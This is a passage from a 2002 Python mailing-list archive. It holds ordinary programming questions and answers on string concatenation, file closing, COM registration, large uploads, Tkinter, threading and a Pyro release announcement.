and events.active = 1" > " and venues.address = addresses.id" > " and addresses.city = cities.id" > " and events.venue = venues.id", > (city,)) > >At compile time all those strings are concatenated into one long string. >The select statement remains readable for me, but is represented as a single >string constant in the generated bytecode. I guess I don't see what's so bad about having to put a "+" at the end of each--except maybe that it brings on the need for a continuation backslash: rows = self.executesql("select cities.city, state, country" +\ " from cities, venues, events, addresses" +\ " where cities.city like %s" +\ " and events.active = 1" +\ " and venues.address = addresses.id" +\ " and addresses.city = cities.id" +\ " and events.venue = venues.id", (city,)) Sure, it's a little more typing, but one could argue that its easier to read because it's explicit. (My non-SQL-trained eye would have initially read the original as a series of parameters separated by commas which, upon closer inspection, would be found not to actually be there.) Better yet would be if the parser would automatically concatenate incomplete expressions (as identified by a line that ends with an operator), much as it automatically concatenates incomplete list and dictionary initialization statements. Then your example would become: rows = self.executesql("select cities.city, state, country" + " from cities, venues, events, addresses" + " where cities.city like %s" + " and events.active = 1" + " and venues.address = addresses.id" + " and addresses.city = cities.id" + " and events.venue = venues.id", (city,)) which doesn't look so bad. (But then again, without the backslash it's less explicit .) explict-is-better-than-implicit-for-a-reason-ly y'rs, =g2 _________________________________________________________________________ Grant R. Griffin g2 at dspguru.com Publisher of dspGuru http://www.dspguru.com Iowegian International Corporation http://www.iowegian.com From shalehperry at attbi.com Wed May 29 18:36:52 2002 From: shalehperry at attbi.com (Sean 'Shaleh' Perry) Date: Wed, 29 May 2002 15:36:52 -0700 (PDT) Subject: Why no open(f, "w").write()? In-Reply-To: Message-ID: > > There might be cases when one moves between Python and Jython, indeed. > When one knows s/he works with Python only, it is good style to rely on > the refcount behaviour, as it yields code which is not only more legible, > but also more elegant and concise. It means that you understand and > accept in advance having to revise your code if you ever want to use other > implementations of Python, like Jython. As someone was pointing to me > very recently, the Python reference tries to describe a common language, > but there is no "C-Python" specific guide. If there was one, the refcount > behaviour would most probably be described as dependable and reliable, > even through future versions, as far as Python programming is concerned. > depending on implementation is almost never a good idea. Sure CPython behaves this way now, but it may not next month or next year. More importantly this style of coding makes the creation of temporaries common and blessed where one usually does not want an abundance of them. The arguments then move to pure aesthetic style and we all know that no one can agree there so there is no need to carry it further. > > For this "Jython-forces-you-to-explicit-closes" matter, my feeling is that > Jython encourages bad style here, much more than it defines good style. > Surely, there has never been a bad intent from Jython author. We understand > that the limitation comes from the fact Jython relies on the Java system > for collecting garbage. One has to close explicitly in Jython for practical > implementation considerations, this has nothing to do with good style. > you can choose to not close() a file in python (either implementation) you just have to hope the interpreter gets to it soon. In one this happens to be true, in the other it may not be. As a matter of habit in any long running program I am always close() what needs to be closed and in other way attempt to help the garbage collector. From whisper at oz.net Thu May 16 03:12:41 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 16 May 2002 00:12:41 -0700 Subject: Registering PythonCOM22.dll fails? In-Reply-To: <3ce34d31.766991281@news.skynet.be> Message-ID: Can't you install Python and then use it to do the rest? You can do that with an unattended script to do your remote installation I believe. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of > henk.derudder at barconet.com > Sent: Wednesday, May 15, 2002 23:15 > To: python-list at python.org > Subject: Re: Registering PythonCOM22.dll fails? > > > On Wed, 15 May 2002 23:19:52 GMT, Mark Hammond > wrote: > > >henk.derudder at barconet.com wrote: > >> Hi, > >> > >> I am trying to register PythonCOM22.dll through regsvr32.exe. I get > >> the eroormessage that DllRegisterServer is not exported. Using the > >> dependency walker learns me that this is indeed the case, however > >> DllRegisterServerEx *is* exported. Any idea how I can get this dll > >> registered? > > > >This DLL can not be registered with regsvr32. DllRegisterServerEx() was > >for an obscure feature of regsvr32 that never turned out to be useful ( > >the idea was you could say "regsvr32 myfile.py" and have it register.) > > > >Why do you think you need to register it? > > I am trying to prepare an unattended installation of the Python > runtime environment. Therefore I need to > a) copy the binaries into the appropriate directories > b) set the registry > > As PythonCOM22.dll is a COM object I thought to let it register > through regsvr32 (registering it manually by setting all ProgID, > AppID, and so on by hand was too tedious and cumbersome). Please note > that at the time I want to let that dll register, the runtime > environment is not installed yet, so letting the .py file execute > istself to register will be hard I guess > > > You register Python COM > >objects by executing the .py file that implements the object, not by > >using regsvr32.exe. > > > >Mark. > > > > -- > http://mail.python.org/mailman/listinfo/python-list From warlock at eskimo.com Sun May 5 03:11:57 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sun, 5 May 2002 00:11:57 -0700 Subject: degrees and radians. References: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sat, 04 May 2002 20:56:57 -0400, Tim Peters wrote: >> Maybe he's not on Unix? > > The docstrings are the same on Windows and Macs : > >>>> print math.sin.__doc__ > sin(x) > > Return the sine of x (measured in radians). >>>> > > although-if-you-stick-with-1.5.2-you-won't-see-that-ly y'rs - tim > > Well, now that I have conquered elementry trig, I am now going to try for simple python and figure out how to add the contents of a tuple to the contents of another tuple... -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81Ns9d90bcYOAWPYRAq+FAJ9tIc6yg7RsgsCOnPwZiEe07xj6+ACdGqgK EAWLted0R1tEBE/CtpUEN/c= =YagS -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From jon+usenet at unequivocal.co.uk Tue May 7 19:07:50 2002 From: jon+usenet at unequivocal.co.uk (Jon Ribbens) Date: Tue, 07 May 2002 23:07:50 -0000 Subject: HTTP or alternative upload for large files References: <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu@4ax.com> Message-ID: In article <0gofdukc6c10c0lg2t6qcadov2mqt2a7nu at 4ax.com>, robin at execulink.com wrote: > This may not be specifically a Python problem, so apologies in > advance. > > I am attempting to upload large files (think 500 MB) through a web > form using a Python CGI process. > > It is easy enough for my program to get the file handle of the > user-submitted file, and then write this out in chunks to the server. > But there are two major problems with this. > > 1. Apache first uploads the entire file itself, consuming all > available memory, before handing over control to the CGI process. I do not believe this to be true. It doesn't make any sense, and from an inspection of the Apache code it doesn't appear to be the case. Apache both reads the input to the script and the output from the script in 8k chunks. Are you really seeing the httpd processes expand to over 500MB? Are you talking about a 500MB file being sent from the web server to the web browser, or the web browser to the web server? You appear to contradict yourself within your post as to which you are doing. Oh, and the obvious answer is still of course "don't send 500MB files by HTTP". It doesn't how much you want to, you're *always* going to have problems. From aleax at aleax.it Thu May 2 13:06:36 2002 From: aleax at aleax.it (Alex Martelli) Date: Thu, 02 May 2002 17:06:36 GMT Subject: Unpacking a python list in C? References: <3CD16F64.F2146F70@wag.caltech.edu> Message-ID: Richard P. Muller wrote: > I need some help with extending python in C. I want to call a function > of a list from python: > > answer = my_function(my_list) > > where my_function is a function, and my_list is a python list of floats. > I want my_function to be a C function, and want to extract my_list into > an integer length and a double * pointing to the values. I spent some The following is a rather long URL, but it identifies a post I posted last week which exactly answers this specific question: http://groups.google.com/groups?q=double+list+malloc+author:alex+author:martelli&hl=en&as_drrb=b&as_mind=12&as_minm=4&as_miny=2002&as_maxd=2&as_maxm=5&as_maxy=2002&selm=jPfy8.65668%24vF6.2006478%40news2.tin.it&rnum=1 Alex From jim at publishingresources.com Thu May 30 13:57:39 2002 From: jim at publishingresources.com (Jim Abrams) Date: Thu, 30 May 2002 17:57:39 -0000 Subject: Win32 ASP Problems (Response.End) Message-ID: All sorts of weird flakiness abounds. File 1: <%@LANGUAGE="Python"%> <% Response.End() %> End of Line. This shows "End of Line." on the page. Response.End() seems to pass through. File 2: <%@LANGUAGE="Python"%> <% Response.end() %> End of Line. Changed end() to lowercase: Now I get 'HTTP/1.1 500 Server Error' And this... File 3: <%@LANGUAGE="Python"%> Between Text <% Response.end() %> End of Line. Now it works. Needed some text before the end(). Clues? Helps? Where do I send bug reports for this stuff? From Dick.Zantow at lexisnexis.com Fri May 3 08:38:24 2002 From: Dick.Zantow at lexisnexis.com (rzed) Date: Fri, 3 May 2002 08:38:24 -0400 Subject: Multidimensional arrays - how? References: <6vv4du8mu1hj59k7g0uq58r24mp74g02hu@4ax.com> Message-ID: "Jaros?aw Zabie??o" wrote in message news:6vv4du8mu1hj59k7g0uq58r24mp74g02hu at 4ax.com... > How to create multidimmensional arrays in Python? I tried: > > x = [] > > book, chapter, para = 0,0,0 > x[book][chapter][para] = 'text0' > > book, chapter, para = 0,0,1 > x[book][chapter][para] = 'text1' > > This code does not work in Python :-( but (with slightly changings) > works in PHP, C, C++ or Pascal). > Does this give you what you want? It's not a multidimensional array, but do you need it?: >>> x = {} >>> book,chapter,para=0,0,0 >>> x[book,chapter,para] = 'text0' >>> book,chapter,para=0,0,1 >>> x[book,chapter,para] = 'text1' >>> x[0,0,1] 'text1' >>> x[0,0,0] 'text0' From phlip_cpp at yahoo.com Fri May 31 17:48:53 2002 From: phlip_cpp at yahoo.com (Phlip) Date: 31 May 2002 14:48:53 -0700 Subject: _fileNameToModuleName drek removal Message-ID: <63604d2.0205311348.51bd4f96@posting.google.com> Hypo Nt: Ogle this: def _fileNameToModuleName(fileName): 'TODO is there a way in Python to avoid this drek??' assert fileName[-3:] == '.py' if fileName[0] != '.': os.path.join('.', fileName) fileName = fileName[:-3] moduleName = string.split(fileName, os.sep)[1:] moduleName = string.join(moduleName, '.') assert moduleName[0] != '.' return moduleName That, platform neutral, converts a file name ./yak/yak/yak.py into a module name yak.yak.yak Is there some cleaner way to do this? Preferably built-in? -- Phlip http://www.c2.com/cgi/wiki?PyUnitTestBrowser -- To catch a bug, you'v got to learn to think like a bug -- From andrew.henshaw at mail.com Mon May 27 21:26:56 2002 From: andrew.henshaw at mail.com (Andrew Henshaw) Date: Mon, 27 May 2002 21:26:56 -0400 Subject: Ann: Stackless Limbo Dancing Works Fine! References: Message-ID: Fernando Pereira wrote: > On 5/25/02 1:29 AM, in article ueu89e5dafsmb3 at corp.supernews.com, "Andrew > Henshaw" wrote: >> The Occam compiler will >> prevent that behavior; but, when programming with C (with Transputer >> libraries for parallel processing), this technique is used, occasionally. > Occam != CSP > > -- F Of course. I was merely agreeing with your statement that the Transputer's implementation of channels did not indicate anything about the CSP definition of channels. Furthermore, despite the impression of the original poster, Transputer channels are more like your previously stated impression of CSP then my stated impression. This behavior could be accessed under C but not under Occam (the language in which most Transputer programs are programmed). I suspect that this may have been the source of confusion for the original poster, as Occam is so closely identified with the Transputer, and vice versa. -- Andy From denpeterson at yahoo.com Sun May 19 01:27:12 2002 From: denpeterson at yahoo.com (Dennis Peterson) Date: Sun, 19 May 2002 01:27:12 -0400 Subject: Recursion problem Message-ID: I'm trying to implement a basic Composite pattern. In the following code, I expect c.getData() and d.getData() to both return "hellogoodbye". Instead, on d.getData() I get stacktrace printing "y += i.getData()" repeatedly until recursion depth exceeded. Why? I'm new to Python, running latest Windows version just downloaded. class Simple: def __init__(self,x): self.data = x def getData(self): return self.data class Compound: data = [] def getData(self): y = "" for i in self.data: y += i.getData() return y def test(): a = Simple("hello") b = Simple("goodbye") c = Compound() c.data.append(a) c.data.append(b) print c.getData() d = Compound() d.data.append(c) print d.getData() From pferris at pferris.com Thu May 16 21:03:01 2002 From: pferris at pferris.com (Peter F. Ferris) Date: Thu, 16 May 2002 20:03:01 -0500 Subject: Python & CuteFTP TE COM Object Anyone?! Message-ID: Hi! Does anybody on the list have any experience with the Windows GUI app "CuteFTP" (Pro or not) and scripting with Python. There's a white paper (http://www.cuteftp.com/files/cuteftpprowp.pdf) that mentions that one can use Python to interface to the (CuteFTP) Transfer Engine. However, the only examples given are for VBS & Perl. Here's the VBS code: =-=-=-=-=-=-=-=-=-= ?Creating a connection object and assign it to the variable Set MySite = CreateObject("CuteFTPPro.TEConnection") Can anyone give me a Python example using this COM object? Or, better yet, if you have a CuteFTP ala Python script you wouldn't mind sharing (be sure to edit out any logins/passwords! ;-) ). From gcordova at hebmex.com Wed May 15 16:29:21 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Wed, 15 May 2002 15:29:21 -0500 Subject: tkinter grid control Message-ID: > > Is there one? If so, where can I find it? > > David LeBlanc > Seattle, WA USA > Tk (and Tkinter) don't have a native grid control, but there's an external widget you can load called Tktable. It's pretty nice, and easy to work with, but there (was) no Tkinter module to make it work. I'm currently working on some Tkinter bingings both for Tktable and for Tkhtml (an html widget), but I'm not yet done getting out all the wrinkles. They look good though. :-) If you're interested, I can send you what's done now, although it's not yet finished. -gus From red at green.blue Mon May 27 16:25:18 2002 From: red at green.blue (Zsolt Marx) Date: Mon, 27 May 2002 20:25:18 GMT Subject: Passing a Com Object as an argument Message-ID: Hi there. I am using Python on Win32. I have just managed to utilitze COM Objects in Python using the win32all package. Here's my question: How can I define a Python function having a COM interface or a COM class as an argument? Thanks in advance From joonas.paalasmaa at iki.fi Sat May 4 16:48:30 2002 From: joonas.paalasmaa at iki.fi (Joonas Paalasmaa) Date: Sat, 04 May 2002 23:48:30 +0300 Subject: Very strange behaviour on Windows Message-ID: <3CD4491E.CEC76CE@iki.fi> When I invoke the interactive interpreter on Windows, Python claims that every line I type is syntactically invalid. However, when the interpreter is used to start scripts, everything seems to be working quite fine. The problem is propably in Windows's command-line, but what the problem could be? C:\>python Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 Type "help", "copyright", "credits" or "license" for more information. >>> print File "", line 1 print ^ SyntaxError: invalid syntax >>> File "", line 1 ^ SyntaxError: invalid syntax >>> C:\>more > test.py print "foo" C:\>python test.py foo From dradul at yahoo.com Wed May 1 14:09:14 2002 From: dradul at yahoo.com (P. Alejandro Lopez-Valencia) Date: Wed, 1 May 2002 13:09:14 -0500 Subject: Python, Perl, & BBSes References: <35180ff3.0204301931.512b7f2e@posting.google.com> Message-ID: "Thomas" escribi? en el mensaje news:35180ff3.0204301931.512b7f2e at posting.google.com... > There is a perl program in "Matt's Script Archive" called wwwboard.pl > which, as you might guess, creates a simple but powerful threaded > message board for websites. Has anyone out there either: translated > this to python (I need to implement something like this in python in a > short period of time and don't have time to learn perl); come up with > an automated perl-python translation tool; or found/written a good > python based bbs which does not rely on an external database? > > Many, many thanks > Thomas For starters, you don't want no stinkin' CGI from either Matt's Script Archive nor Selena Sol's whatever. They are poorly written. I'll phrase it thusly: You can drive an eighteen wheel truck through the security holes in those CGIs. It is not worth trying to fix them, because it would mean rewriting them from scratch. Soo... I'd rather look for something different (e.g, check http://www.cgiresources.com/ and the CGI section in http://www.dmoz.org/). For a perl to python translator, there was an announcement here in c.l.p or in c.l.p.announce a few weeks ago. Use google. From usenet at thinkspot.net Wed May 15 00:06:53 2002 From: usenet at thinkspot.net (Sheila King) Date: Tue, 14 May 2002 21:06:53 -0700 Subject: Module like Proc::ProcessTable Message-ID: Apparently there is a handy Perl module Proc::ProcessTable for handling the process table on Unix. Does anyone know of a similar Python module? I'd be appreciative if you can copy me on any replies. If not, that's fine, too. Thanks. -- Sheila King http://www.thinkspot.net/sheila/ http://www.k12groups.org/ From russblau at hotmail.com Fri May 31 09:06:44 2002 From: russblau at hotmail.com (Russell Blau) Date: Fri, 31 May 2002 09:06:44 -0400 Subject: Where can I find .join() in the docs References: Message-ID: "Duncan Booth" wrote in message news:Xns921EA4D606532duncanrcpcouk at 127.0.0.1... > You might find this useful as it shows you what is really in builtins, not > what is documented: > >>> def showNamespace(namespace=None): ... snip > > type: float, unicode, open, super, long, complex, dict, type, tuple, list, > str, property, int, file, object, classmethod, staticmethod > OK, this intrigues me. What are and ?? I've never seen any reference to either of these before. -- I don't actually have a hotmail account; but I do have one on excite.com if you really want to get in touch with me. From jdhunter at nitace.bsd.uchicago.edu Wed May 8 09:53:18 2002 From: jdhunter at nitace.bsd.uchicago.edu (John Hunter) Date: Wed, 08 May 2002 08:53:18 -0500 Subject: Regular expression question References: <3CD8E9A7.6010600@chambersharrap.co.uk> Message-ID: >>>>> "Patrick" == Patrick Gaherty writes: Patrick> Im performing the following search and replace in Patrick> Python. However, I would like to return the first group Patrick> as lowercase using .lower() in the replacement string, Patrick> What's the best way of achieving this? There may be a better way, but I think this does what you want. My guess is that you'll want to do a lot of these replaces so I compiled in the regex. Also, you can use """ to avoid having to \ quote the other quotes in your strings. result = """
NameJohn Hunter
""" rgx = re.compile('(.*?)
') match = rgx.match( result ) if match: result = """%s""" \ % (match.group(1).lower(), match.group(2)) print result Prints: NameJohn Hunter From newsfroups at jerf.org Wed May 8 23:33:01 2002 From: newsfroups at jerf.org (Jeremy Bowers) Date: Thu, 09 May 2002 03:33:01 GMT Subject: Has Red Hat helped or hurt? References: Message-ID: <3CD9EDF3.8020602@jerf.org> John Baxter wrote: > Not without the rand module, for those tools which use it. What RedHat admin tool uses rand?!?!?!? And doesn't that explain a lot... "You have chosen to install a new printer. You roll a 1d20... You get a 1. *CRITICAL FAILURE* Your home directory is now being deleted." From noah at noah.org Sun May 12 12:51:50 2002 From: noah at noah.org (Noah Spurrier) Date: Sun, 12 May 2002 09:51:50 -0700 Subject: Rationals and Linear Programming in Python Message-ID: <009901c1f9d5$4fc8bb30$0400a8c0@saysyou> Can anyone point me to the current state of the art in Rational number modules for Python? I'm surprised that Numerical Python does not do rationals. I'm working on a Linear Programming problem (I could use a LP module too.). I've seen a few LP modules, but nothing that works with rationals. I've also seen a few rational modules, but many of them looked old. It was hard to tell what has the most active development and support. If anyone has any experience or tips for math packages then I would appreciate hearing about it. Yours, Noah From gcordova at hebmex.com Mon May 27 16:45:28 2002 From: gcordova at hebmex.com (Gustavo Cordova) Date: Mon, 27 May 2002 15:45:28 -0500 Subject: Thought on PEP 204 and 276 Message-ID: > > I can't help being disappointed that PEP 204 was rejected. To me, > > for i in [0:10] : > > is much more intuitive than the PEP 276 version > > for i in 10 : > > > As for the ideas like allowing '[1, 5:10, 20]', combining the syntax > with list comprehensions, etc I feel the common policy of KISS (ie > just do the minimal slice-like notation) is a good principle. > > On the issue that it could be confused with slices, consider the > following... > > (1, 2) > > Is that a tuple containing the values 1 and 2, or is it the actual > parameter list for a function call? - you can only tell from the > context (ie was there a function name, variable containing a lambda or > whatever to the left). Clearly the slice/range-list dilemma is no more > confusing than syntax that already exists. > > As for being non-obvious, I'd say it's as obvious as using the slice > notation for slices. > > In short, PEP 204 seems intuitive to me while PEP 276 makes me worry. > > Am I alone in thinking this? > > -- > Steve Horne > steve at lurking.demon.co.uk > just make an Ints module, with an Ints object (or which inserts into __builtins__ an Ints object, but that's nasty). -- clip here -- class _Ints: def __init__(self): pass def __getitem__(self, range): if type(range) != SliceType: raise ValueError("The range must be a slice!") return xrange(range.start, range.stop, range.step) Ints = _Ints() del _Ints -- clip here -- and Voil?, you can obtain integer ranges with simply: from Ints import Ints for x in Ints[10:30:2]: do(x) neato :-) -gus From pinard at iro.umontreal.ca Wed May 29 20:59:39 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 29 May 2002 20:59:39 -0400 Subject: Why no open(f, "w").write()? In-Reply-To: References: Message-ID: [Sean 'Shaleh' Perry] > depending on implementation is almost never a good idea. Sure CPython > behaves this way now, but it may not next month or next year. I've been told that the behaviour is there to stay. We may depend on it. > As a matter of habit in any long running program I am always close() what > needs to be closed and in other way attempt to help the garbage collector. This is surely good to explicitly `close()' when one is done with a file, but needs to keep a reference on this file for other reasons. The nicest is not keeping a reference to the file, whenever it can be avoided easily. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From r.j.cunningham at virgin.net Sat May 18 09:06:24 2002 From: r.j.cunningham at virgin.net (Robert Cunningham) Date: Sat, 18 May 2002 14:06:24 +0100 Subject: Threads Message-ID: Hopefully someone can clarify this for me, I have n threads running and a global var c now sometimes these threads may update c (c += 1 or c -= 1). My question is do I need to use a lock or something, at the moment I don't, I assumed += is 'atomic' - am I right?? Cheers, Rob From coolslife at yahoo.com Wed May 22 11:52:22 2002 From: coolslife at yahoo.com (coolslife) Date: 22 May 2002 08:52:22 -0700 Subject: Grep in Python References: <83it5giuy2.fsf@panacea.canonical.org> Message-ID: Kragen Sitaker wrote in message news:<83it5giuy2.fsf at panacea.canonical.org>... > coolslife at yahoo.com (coolslife) writes: > > I saw that lots of people have implemented their own version of grep > > and most have called it "pygrep". (Am I right about that?). Since this > > is a resource consuming activity, does anyone have any idea what > > might be a optimum way to implement this? > > See "NR-grep: A Fast and Flexible Pattern Matching Tool", by Gonzalo > Navarro, at http://www.dcc.uchile.cl/~gnavarro/ps/spe01.ps.gz for how > to search text fast. Thanx for your replies. I own the 1st Edition of that book. SO I guess I will have to go look up @ a book store. the MR-grep is a nice article.but I am looking for a simple grep. are there any other resources I can look up? From lenssen at hitnet.rwth-aachen.de Sat May 11 19:49:08 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Sun, 12 May 2002 01:49:08 +0200 Subject: Music, binary output from server? Message-ID: Is there any way to programmatically create e.g. MIDI output via parameters? Could I include like the following on a webpage: Well I'm sure there must be a way, but has this been done before, are there open source libraries? (I'm not mainly concerned about MIDI, any music type that works in popular browsers should be OK.) From lists at weissinger.org Tue May 7 08:52:11 2002 From: lists at weissinger.org (A. Keyton Weissinger) Date: Tue, 7 May 2002 08:52:11 -0400 Subject: ActiveState Visual .NET Plugin Question In-Reply-To: Message-ID: Does anyone use this? Do the forms you create using it end up as MFC forms/windows or as Tkinter-based GUI elements? Thank you! Keyton From max at alcyone.com Fri May 10 14:41:08 2002 From: max at alcyone.com (Erik Max Francis) Date: Fri, 10 May 2002 11:41:08 -0700 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <3CDC1444.8AED9B3D@alcyone.com> Steve Horne wrote: > if 0 <= x < 10 : > print "x is in range" > > There is a big problem with this, of course - this is already legal > Python, but the semantics aren't what I intend. This should behave the way you expect. The conditional would be executed if 0 <= x and x < 10. -- Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/ __ San Jose, CA, US / 37 20 N 121 53 W / ICQ16063900 / &tSftDotIotE / \ Who'd ever think it / Such a squalid little ending \__/ The American and Florence, _Chess_ Church / http://www.alcyone.com/pyos/church/ A lambda calculus explorer in Python. From darren at netscripter.org Sat May 11 07:12:40 2002 From: darren at netscripter.org (Darren Watson) Date: Sat, 11 May 2002 12:12:40 +0100 Subject: Can import time module as root but not as normal user Message-ID: Hi I have installed Python 2.2.1 on SuSE Linux 7.1 from source code version of Python. I can import the time module when logged in as root, but not when any other user. When a normal user tried to import the module the error below appears: >>> import time Traceback (most recent call last): File "", line 1, in ? ImportError: No module named time >>> The values of sys.path are as below: for root: ['', '/usr/local/lib/python2.2', '/usr/local/lib/python2.2/plat-linux2', '/usr/local/lib/python2.2/lib-tk', '/usr/local/lib/python2.2/lib-dynload', '/usr/local/lib/python2.2/site-packages'] for any other user: ['', '/usr/local/lib/python2.2', '/usr/local/lib/python2.2/plat-linux2', '/usr/local/lib/python2.2/lib-tk', '/usr/local/lib/python2.2/lib-dynload', '/usr/local/lib/python2.2/site-packages'] Has anyone had this problem before and found a solution? Many thanks for any help -- Darren Watson From loewis at informatik.hu-berlin.de Wed May 8 12:58:47 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 18:58:47 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > There is a lot of in-house development, not meant to be exported, that > would be _so_ much more comfortable if we could use our own language > while programming. You can do that in comments. You cannot do that in the program, since all keywords remain English-based. > Many years ago, we experienced that university-wide, by modifying > the Pascal compiler so we can use French identifiers whenever we > feel like it (as well as a lot of other software and even hardware), > and we kept modifying compilers while new Pascal versions were > released. Moving on to other sites and languages, my co-workers and > I did not try redoing such patches all the time, everywhere. Yet, I > would deeply like that Python be on our side, and favourable at > restoring our Lost Paradise. Modifying the compiler so that it supports one language (with one encoding) is one thing; modifying it that it supports arbitrary languages (with arbitrary encodings) is a different problem; existing code may break if you make this kind of extension. So a "it would be nice" is not a strong-enough rationale for such a change - "I really need to have it, and I accept to break other people's code for getting it" would be, if enough people voiced that position. Regards, Martin From shagshag13 at yahoo.fr Wed May 29 05:59:54 2002 From: shagshag13 at yahoo.fr (Shagshag13) Date: Wed, 29 May 2002 11:59:54 +0200 Subject: clean and full install... Message-ID: is there a place where it's possible to find all names and urls of lib to install before installing python to get it works fully ? for example, until this morning i don't even know i had to install expat before installing python. (sorry, but i'm a huge newbie in all this kind of stuff) thanks in advance, s13. From bbollenbach at shaw.ca Wed May 22 21:24:21 2002 From: bbollenbach at shaw.ca (Brad Bollenbach) Date: Thu, 23 May 2002 01:24:21 GMT Subject: Where does IDLE expect to find imported files? References: Message-ID: "CarolineBlue" wrote in news:ach90f$141$1 at knossos.btinternet.com: > BlankCan't get import to work - need to know correct directory to put > .py files in for processing > > I have just installed Python 2.2.1 under Windows 98SE (from a Computer > Shopper CD). I am working my way through the Tutorial, but cannot > import files for processing by IDLE. Where does IDLE expect to find > the named file (eg. prog.py), so that "import prog.py" will work? The details of where Python will look are platform specific. Generally, it will first look to see if the module is a builtin, and from there proceed to search sys.path to find the module you're trying to import. So, on my Windows ME box, sys.path can be examined as follows: >>> import sys >>> print sys.path ['', 'C:\\PYTHON22\\lib\\site-packages\\win32', 'C:\\PYTHON22\\lib\\site- packages\\win32\\lib', 'C:\\PYTHON22\\lib\\site-packages', 'C:\\PYTHON22\\lib\\site-packages\\Pythonwin', 'C:\\PYTHON22\\DLLs', 'C:\\PYTHON22\\lib', 'C:\\PYTHON22\\lib\\lib-tk', 'C:\\PYTHON22'] >>> Hope that helps. -- Brad Bollenbach From cliechti at gmx.net Wed May 22 18:01:17 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 00:01:17 +0200 Subject: Why does Python mix OO concepts and non OO concepts for operation s on basic types? References: Message-ID: Syver Enstad wrote in news:u1yc3q4xe.fsf at online.no: > jajvirta at cc.helsinki.fi (Jarno J Virtanen) writes: > >> Wed, 22 May 2002 13:13:06 -0500 Michael Bauers wrote: >> > >> > Why do you say x = []; x.append('a'), but get the length with len(a) >> ? >> >> > >> > Is there a reason for this sort of inconsistency? >> >> why not check the FAQ? >> >> http://www.python.org/cgi-bin/faqw.py?req=all#6.5 > > Yes, but the FAQ seems to be *very* old, it also says that in the > distant future it may be possible to subclass built in types. > > I always have to back up in the editor when I am asking an object what > length it has. Like this (I wanna know the length of object foo): > foo. "Aw, It's not a method it's a function that calls a method with > an unsightly name behind the scenes" back the cursor up and write > len(foo) instead of foo.len() which would be much more intuitive. think abbout it as an operator. its is written in function syntax because +-*/% etc are aleady used. it has some advantages and it isn't "inconsistent" at all. i think you do prefer to write >>> 1 + 2 instead of >>> 1 .__add__(2) don't you? (with or without underlines. apropos, "range(3).__len__()" works ;-) of course you could also say that x[index] is not OO enough and insist on having a .get(index) method (i.e. "[1,2,3].__getitem__(2)" now) but then you could also take Java and type _much_ more for less readable code. chris -- Chris From rob at zoism.org Thu May 9 00:25:22 2002 From: rob at zoism.org (Rob Brown-Bayliss) Date: 09 May 2002 16:25:22 +1200 Subject: Has Red Hat helped or hurt? In-Reply-To: References: Message-ID: <1020918322.29965.37.camel@orion.zoism.org> On Thu, 2002-05-09 at 13:26, John Baxter wrote: > Most of the tools break badly under 2.x What I do is have a couple of scripts in /root. My /usr/bin/python is alink, the scripts swap it to point to 1.5 or 2.x I seldom reboot so when I do I swap the link to 1.5 and restart lpd then swap it back to 2.x Not great, and I could do it in the init scripts at boot time to save the hassel, but it's a home machine that runs 24/7 so who cares. -- R Brown-Bayliss ---====<=>=====--- http://zoism.org From walter at livinglogic.de Tue May 28 13:54:25 2002 From: walter at livinglogic.de (=?ISO-8859-15?Q?Walter_D=F6rwald?=) Date: Tue, 28 May 2002 19:54:25 +0200 Subject: How should I dynamically generate html tables? References: Message-ID: <3CF3C451.8080409@livinglogic.de> Scrumpy wrote: > [...] > As per my initial post, I currently perform a MS Word 'catalog mail merge' > between an RTF file (actually a HTML table) and my CSV file. > [...] > > I then copy the merge's resulting multiple html tables text to my > freesoft.html file, overwritting the previous right div column's content > and manually update my software category's menu in the left div column, if > any categories have been added or deleted. The current page is here: > http://www.geocities.com/scrumpyshangout/freesoft.html > > I forsee the process of automatically generating my webpage as something > like this: > [...] > If anyone can point me in the right direction to be able to complete the > above process, I'd be very grateful. > > For this particular task, do you think I'm best served using Python or PHP? > I don't mind learning some PHP just for this type of thing if it's easier! If you want to do it statically, you might want to take a look at XIST (available at http://www.livinglogic.de/Python/xist/) which simplifies generating (X)HTML. You could have a HTML template that includes your own tags in various hot spots. For these tags you can implement how they should look when converted to HTML. I hope that this is what you have in mind. Bye, Walter D?rwald From irmen at USENET_NOSPAM_REMOVETHISxs4all.nl Mon May 20 12:22:24 2002 From: irmen at USENET_NOSPAM_REMOVETHISxs4all.nl (Irmen de Jong) Date: Mon, 20 May 2002 18:22:24 +0200 Subject: [ANN] Pyro 2.8 available Message-ID: I'm glad to announce the latest version of Pyro, 2.8! You can get it via http://pyro.sourceforge.net, then go to the project homepage. This is mostly a bugfix release. This likely is the last Pyro release in the 2.x version series. The next release, 3.0, will have some major changes and improvements. Changes since 2.7 include: More complete docs, better example chapter in docs, fixed ^C handling of chatbox examples, fixed protocol bug when both checksum and compression were used, setup script should work again with Win98, old bug in PyroC generated proxy code fixed. What is Pyro? Pyro is an acronym for PYthon Remote Objects. It is a basic Distributed Object Technology system written entirely in Python. It is extremely easy to implement a distributed system with Pyro, because all network communication code is abstracted and hidden from your application. You just get a remote Python object and invoke methods on the object on the other machine. Pyro offers you a Name Server, an Event Service, mobile objects, remote exceptions, dynamic 